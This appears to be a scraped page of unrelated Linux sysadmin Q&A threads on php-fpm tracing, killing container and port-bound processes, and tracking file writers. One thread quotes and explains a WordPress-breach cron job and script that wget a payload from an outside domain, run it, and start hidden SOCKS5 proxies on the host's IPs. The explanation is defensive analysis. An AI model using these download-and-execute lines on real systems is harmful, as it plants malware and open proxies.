How to debug php-fpm performance? - nginx

Webpages are loading very slow, it takes them around 6 seconds to even start sending the page data, which is then sent in a matter of 0.2 seconds and is generated in 0.19 seconds.
I doubt that it is caused by php or the browser, so the problem must be with the server which is handled by nginx and php5-fpm
A server admin said that indeed the problem was caused by a misconfigured fpm or nginx
How can I debug the cause of the slowdown?
Setup: php5.3, mysql5, linux, nginx, php5-fpm

This question is probably too broad for StackOverflow, as the question could span several pages and topics.
However if the question was just how do I do debug the performance of PHP-FPM then the answer would be much easier - use Strace and the script below.
#!/bin/bash
mkdir trc
rm -rf trc/*.trc
additional_strace_args="$1"
MASTER_PID=$(ps auwx | grep php-fpm | grep -v grep | grep 'master process' | cut -d ' ' -f 7)
summarise=""
#shows total of calls - comment in to get
#summarise="-c"
nohup strace -r $summarise -p $MASTER_PID -ff -o ./trc/master.follow.trc >"trc/master.$MASTER_PID.trc" 2>&1 &
while read -r pid;
do
if [[ $pid != $MASTER_PID ]]; then
#shows total of calls
nohup strace -r $summarise -p "$pid" $additional_strace_args >"trc/$pid.trc" 2>&1 &
fi
done < <(pgrep php-fpm)
read -p "Strace running - press [Enter] to stop"
pkill strace
That script will attach strace to all of the running php-fpm instances. Any requests to the web server that reach php-fpm will have all of their system calls logged, which will allow you to inspect which ones are taking the most time, which will allow you to figure out what needs optimising first.
On the other hand, if you can see from the Strace output that PHP-FPM is processing each request fast, it will also allow you to eliminate that as the problem, and allow you to investigate nginx, and how nginx is talking to PHP-FPM, which could also be the problem.

#Danack saved my life.
But I had to change the command to get the MASTER_PID:
MASTER_PID=$(ps auwx | grep php-fpm | grep -v grep | grep 'master process' | sed -e 's/ \+/ /g' | cut -d ' ' -f 2)

Related

How to kill process inside container? Docker top command

I have simple example from official guide at docker website.
I run the following:
sudo docker run -d ubuntu:latest /bin/sh -c "while true; do echo hello world; sleep 1; done"
a66asdasdhqie123...
Then take some output from created container:
sudo docker logs a66
hello
hello
hello
...
Then I lookup the running processes of a container:
sudo docker top a66
UID PID PPID C STIME TTY TIME CMD
root 25055 15152 0 20:07 ? 00:00:00 /bin/sh -c while true; do echo hello world; sleep 1; done
root 25295 25055 0 20:10 ? 00:00:00 sleep 1
Next I try to kill the first process of container:
sudo docker exec a66 kill -9 25055
However after I make it nothing changes. Process still works and output "hello" every second. What do I wrong?
When I reproduce your situation I see different PIDs between docker top <container> and docker exec -it <container> ps -aux. When you do docker exec the command is executed inside the container => should use container's pid. Otherwise you could do the kill without docker straight from the host, in your case: sudo kill -9 25055.
check this:
ps | grep -i a66 | tr -s ' '|cut -f2 -d' '|
{
while read line;
do kill -9 $line;
done
}
to understand this start from executing commands from left till end of each pipe (|)
Simpler option:
kill $(pidof a66)
Took me a while to find the right answer, but you will have to manage this process from within the container. When you run docker top a66 from the host, the PIDs are from your host, although that's not quite the case if using Cygwin. Regardless, you will need to bash or what-have-you back into your container and use commands like ps aux and kill while in the container to find and manage the different PIDs for the same processes there.
i was looking for something like this, but i couldn't find and then i did this:
[root#notebook ~]# docker exec -it tadeu_debian ps aux | grep ping |
awk '{ print $2 }' | xargs -I{} docker exec -i tadeu_debian kill -9
It was two "execs" from Docker e one xargs.
Well, i hope this helps someone!
when you build Docker, use this command :
RUN apt-get install lsof
then in py file you can use:
os.system("lsof /dev/nvidia* | awk '{print $2}' | xargs -I {} kill {}")
REMEMBER: this command kill all process on GPU

some malware that appeared on our site related to the recent wordpress attack

Apparently I site I do some volunteer work for was one of a few thousand sites targeted in a recent hack that exploited some vulnerability in wordpress. The result of the breach was a cron job added to the site:
0 */48 * * * cd /tmp;wget clintonandersonperformancehorses.com/test/test;bash test;cd /tmp;rm -rf test
the file it was pulling is this (obviously, don't try to execute this...)
killall -9 perl
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
sh getip >>bug.txt
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
bash mbind clean.txt
bash binded.txt
cd ..
rm -rf stest
I was hoping someone could tell me what it does? I cleaned out the cron job and will follow all the other advice available to secure the site again, but I am worried that some additional damage might have been done that is not as obvious. I just can't figure out what the heck that file was actually doing.
I just can't figure out what the heck that file was actually doing.
Quick Summary
In summary, It kills all perl processes and then starts up SOCKS5 servers on all the machine's external IP addresses.
In Depth
In more detail, let's look at the script line-by-line:
killall -9 perl
This kills all perl processes.
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
The above downloads the file stest.tar and untars it in the /tmp/stest directory, deletes the tar file, and moves into the directory which now holds the downloaded files.
sh getip >>bug.txt
The getip script, part of stest.tar, uses icanhazip.com to find your public IP address and stores that in the file bug.txt.
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
The above uses ifconfig to check for any other non-local IP addresses that your machine answers to and adds them to bug.txt. Duplicates are removed and the final list of your public IP addresses is saved in the file clean.txt.
bash mbind clean.txt
This is the meat of the script. mbind, which was part of stest.tar, runs the script inst on each IP address in clean.txt. For that IP address, inst, also part of stest.tar, selects a port at random and starts a copy of "Simple SOCKS5 Server for Perl" on that IP and that port.
More specifically, the SOCKS server that is run is version 1.4 of Simple Socks Server for Perl which can be downloaded from sourceforge. The version used here differs from the sourceforge in only minor respects: a help message is suppressed, the md5 option is removed, and the IP and port are included in the script, rather than passed on in on the command line. I suspect that the purpose of the latter change is make the script's command line look relatively innocuous when viewed with a utility such as ps.
bash binded.txt
The script binded.txt was created by inst. It apparently runs a check on the SOCKS5 server.
cd ..
rm -rf stest
The last part just does clean-up. It removes all the un-tarred files and the temporary files created by the scripts.
How to determine if one of the SOCKS servers is still running
The script inst (part of the .tar file) starts each SOCKS server with the command:
/usr/bin/perl httpd
To see if one is still running, look through the output of ps wax and see if you see that command. If you do it, use the kill command to stop it.

Determine the process pid listening on a certain port

As the title says, I'm running multiple game servers, and every of them has the same name but different PID and the port number. I would like to match the PID of the server which is listening on certain port, and then I would like to kill this process. I need that in order to complete my bash script.
Is that even possible? Because it didn't find yet any solutions on the web.
Short version which you can pass to kill command:
lsof -i:80 -t
The -p flag of netstat gives you PID of the process:
netstat -l -p
*use sudo if showing - instead of PID
Edit: The command that is needed to get PIDs of socket users in FreeBSD is sockstat.
As we worked out during the discussion with #Cyclone, the line that does the job is:
sockstat -4 -l | grep :80 | awk '{print $3}' | head -1
netstat -p -l | grep $PORT and lsof -i :$PORT solutions are good but I prefer fuser $PORT/tcp extension syntax to POSIX (which work for coreutils) as with pipe:
pid=`fuser $PORT/tcp`
it prints pure pid so you can drop sed magic out.
One thing that makes fuser my lover tools is ability to send signal to that process directly (this syntax is also extension to POSIX):
$ fuser -k $port/tcp # with SIGKILL
$ fuser -k -15 $port/tcp # with SIGTERM
$ fuser -k -TERM $port/tcp # with SIGTERM
Also -k is supported by FreeBSD: http://www.freebsd.org/cgi/man.cgi?query=fuser
netstat -nlp should tell you the PID of what's listening on which port.
Syntax:
kill -9 $(lsof -t -i:portnumber)
Example:
To kill the process running at port 4200, run following command
kill -9 $(lsof -t -i:4200)
Tested in Ubuntu.
Since sockstat wasn't natively installed on my machine I hacked up stanwise's answer to use netstat instead..
netstat -nlp | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:2000" | awk '{print $7}' | sed -e "s/\/.*//g""
I wanted to programmatically -- using only Bash -- kill the process listening on a given port.
Let's say the port is 8089, then here is how I did it:
badPid=$(netstat --listening --program --numeric --tcp | grep "::8089" | awk '{print $7}' | awk -F/ '{print $1}' | head -1)
kill -9 $badPid
I hope this helps someone else! I know it is going to help my team.
on windows, the netstat option to get the pid's is -o and -p selects a protocol filter, ex.:
netstat -a -p tcp -o

How to identify which Daemon Process is writing to the file

I need to identify a daemon process that is writing to a log file periodically. The problem is that I dont have any idea which process is doing the job, and I need to show some progress to the client by tomorrow. Anybody has any clue?
I have already sorted out the daemon processes running in the system with the help of the PPID. Any help would be appreciated.
Also I think it is possible (rarely) for a daemon not to have a PPID as 1. How can we find it out then?
Try the fuser command on your log file, which will display the PIDs of processes using it.
Example:
$ fuser file.log
file.log: 3065
lsof gives a list of open files with the processes.
So lsof | grep <filename> should help you.
You can use auditctl.
# sudo apt-get install auditd
# sudo /sbin/auditctl -w /path/to/file -p war -k hosts-file
-w watch /etc/hosts
-p warx watch for write, attribute change, execute or read events
-k hosts-file is a search key.
# sudo /sbin/ausearch -f /path/to/file | more
Gives output such as
type=UNKNOWN[1327] msg=audit(1459766547.822:130): proctitle=2F7573722F7362696E2F61706163686532002D6B007374617274
type=PATH msg=audit(1459766547.822:130): item=0 name="/path/to/file" inode=141561 dev=08:00 mode=0100444 ouid=33 ogid=33 rdev=00:00 nametype=NORMAL
type=CWD msg=audit(1459766547.822:130): cwd="/"
type=SYSCALL msg=audit(1459766547.822:130): arch=c000003e syscall=2 success=yes exit=41 a0=7f3c23034cd0 a1=80000 a2=1b6 a3=8 items=1 ppid=24452 pid=6797 auid=42949672
95 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="apache2" exe="/usr/sbin/apache2" key="hosts-file"

I lost nginx.pid,it disappeared

Here is part of my nginx.conf:
pid /www/nginx0836/nginx.pid;
While I restart nginx, in several seconds I run ls /www/nginx0836 and it lists nginx.pid.
But after several seconds, running ls /www/nginx0836 again, nginx.pid is not listed.
Why?
By the way, nginx server works well and when I run
ps -ef | grep "nginx: master process" | grep -v "grep" | awk -F ' ' '{print $2}'
then I can see nginx pid.
try monitoring folder with incrond and log any changes with $# $# on that directory.
may be you will see something like puppet or an rsync deleting the pid file.
/www/nginx0836 IN_DELETE echo "$# $#"
it will log any delete event on directory
simpler than audit...
sorry the poor english
Try default configuration for nginx, you will find similar problem here

Resources